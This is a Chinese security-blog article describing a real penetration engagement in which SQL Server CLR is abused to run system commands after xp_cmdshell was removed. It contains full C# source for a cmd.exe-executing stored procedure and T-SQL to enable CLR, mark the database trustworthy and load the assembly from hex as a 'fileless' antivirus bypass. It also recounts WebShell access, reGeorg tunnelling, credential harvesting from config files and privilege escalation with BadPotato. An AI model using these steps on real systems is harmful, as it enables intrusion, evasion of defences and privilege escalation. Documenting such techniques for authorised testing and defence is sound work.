MSSQL 利用 CLR 技术执行系统命令

  • A+
所属分类:安全文章

MSSQL 利用 CLR 技术执行系统命令

在某项目外围打点的过程中,通过文件上传拿到一个 WebShell。通过 WebShell 能够执行大多数的命令,且直接是 System 权限,但却无法执行 dir 进行列目录,导致冰蝎和蚁剑都无法使用。使用冰蝎进行命令行下的操作,回显极其的慢。通过 netstat,观察到站点连接内网中某台的服务器的 1433 端口,判断是站库分离的情形,于是决定建立隧道对数据库服务器进行渗透。而稍微大一点点的文件,都无法通过网站业务的上传功能进行上传,于是通过 WebShell 写入文件的方式,写入 reGeorg 隧道文件,快速建立起代理。

障碍

通过搜寻站点的数据库配置文件,得到了数据库的用户名和密码。通过 SSMS 远程连接进内网的数据库服务器,得到的用户有sysadmin的权限。但不幸的是无法执行xp_cmdshell,似乎该存储过程被删了。

突破-通过 CLR 进行命令执行

CLR 简介

CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过 CLR 能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。

编写一个 CLR

首先,在 visual studio 中创建一个 SQLSever 项目

MSSQL 利用 CLR 技术执行系统命令

然后,添加一个存储过程项目

MSSQL 利用 CLR 技术执行系统命令

接着参照如下代码编写,即可简单实现通过 cmd.exe 来进行系统命令执行

using System;using System.Diagnostics;using System.Text;using Microsoft.SqlServer.Server;public partial class StoredProcedures{    [Microsoft.SqlServer.Server.SqlProcedure]    public static void CmdExec (String cmd)    {        // Put your code here        SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));    }     public static string Command(string filename, string arguments)    {        var process = new Process();        process.StartInfo.FileName = filename;        if (!string.IsNullOrEmpty(arguments))        {            process.StartInfo.Arguments = arguments;        }        process.StartInfo.CreateNoWindow = true;        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;        process.StartInfo.UseShellExecute = false;        process.StartInfo.RedirectStandardError = true;        process.StartInfo.RedirectStandardOutput = true;        var stdOutput = new StringBuilder();        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);        string stdError = null;        try        {            process.Start();            process.BeginOutputReadLine();            stdError = process.StandardError.ReadToEnd();            process.WaitForExit();        }        catch (Exception e)        {            SqlContext.Pipe.Send(e.Message);        }        if (process.ExitCode == 0)        {            SqlContext.Pipe.Send(stdOutput.ToString());        }        else        {            var message = new StringBuilder();            if (!string.IsNullOrEmpty(stdError))            {                message.AppendLine(stdError);            }            if (stdOutput.Length != 0)            {                message.AppendLine(stdOutput.ToString());            }            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);        }        return stdOutput.ToString();    }}

命令执行

将代码编译完成后,会生成一个 DLL 文件,需要将 DLL 文件注册进数据库

默认情况下,MSSQL 的 CLR 是禁用的,因此首先需要开启 CLR 功能

sp_configure 'clr enabled', 1GORECONFIGUREGO

当导入了不安全的程序集之后,需将数据库标记为可信任的,对于其他数据库需要执行如下语句,但对 msdb 不需要,默认 msdb 就是的可信任的

ALTER DATABASE master SET TRUSTWORTHY ON;

方式一,CLR 注册 DLL 支持十六进制的方式,以这种方式不需要将 DLL 文件落地到目标机器上,实现了无文件落地,能够规避杀软。并且,在目标无法处出网的情况下,也能完成操作

CREATE ASSEMBLY sp_cmdExecFROM 0x4D5A90000300000004000000FFFF0000B800000000000WITH PERMISSION_SET = UNSAFEGO

方式二,通过 SSMS 图形化界面注册

MSSQL 利用 CLR 技术执行系统命令

方式三,将文件落地目标机器上后进行注册

CREATE ASSEMBLY sp_cmdExecFROM 'C:ProgramDataDatabase1.dll'WITH PERMISSION_SET = UNSAFEGO

注册完后,需创建存储过程,执行如下语句

CREATE PROCEDURE sp_cmdExec@Command [nvarchar](4000)WITH EXECUTE AS CALLERASEXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExecGO

一切顺利的话,此时就可以通过该存储过程进行系统命令的执行

MSSQL 利用 CLR 技术执行系统命令

提权

数据库服务器无法出网,可以利用 WEB 服务器做平台,通过 certutil 来落地工具。由于没先列出目标的 tasklist,贸然的上传一个提权工具,结果被杀软干掉了。后来使用 C# 写的 BadPotato 上传,没被杀,成功提权。

MSSQL 利用 CLR 技术执行系统命令

冒出一个想法,既然 BadPotato 是 C# 写的,那么是否可以通过 CLR 来提权。找到了 Badpotato 的代码一顿抄,然后实际使用的时候发现,没成功。

在 GitHub 上找到了 WarSQLKit.DLL 项目,里面内置了很多功能,比如提权。但翻看了一下代码,发现是通过写入一个 EXE 程序来完成的。在实际利用的时候发现,不知道什么情况没有权限写入 C:ProgramDataKumpir.exe, 导致提权失败,将其修改成其他目录也无法写入,不知是否杀软在起作用

MSSQL 利用 CLR 技术执行系统命令

代理

为了更好的进一步渗透,代理是必须的。此时已有 System 权限,可做代理的方式很多。MSSQLProxy 是基于 CLR 实现的代理工具,原理和实现方式有兴趣的可以去了解了解。

最后

简单记录了一下实际情况利用 CLR 的过程。CLR 的好处很明显,只要有sysadmin权限,就可以完成命令执行,并且还可以无文件落地规避杀软,由于通过 .NET 代码拓展出无限可能性,在遇到 SQLServer 环境,可以说是一个大杀器。由于是实际的项目,不便贴上过多细节的图片,部分 SQLServer 环境由本地搭建测试,若有表述不到位的地方,还请见谅。:)

MSSQL 利用 CLR 技术执行系统命令

本文始发于微信公众号(信安之路):MSSQL 利用 CLR 技术执行系统命令

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: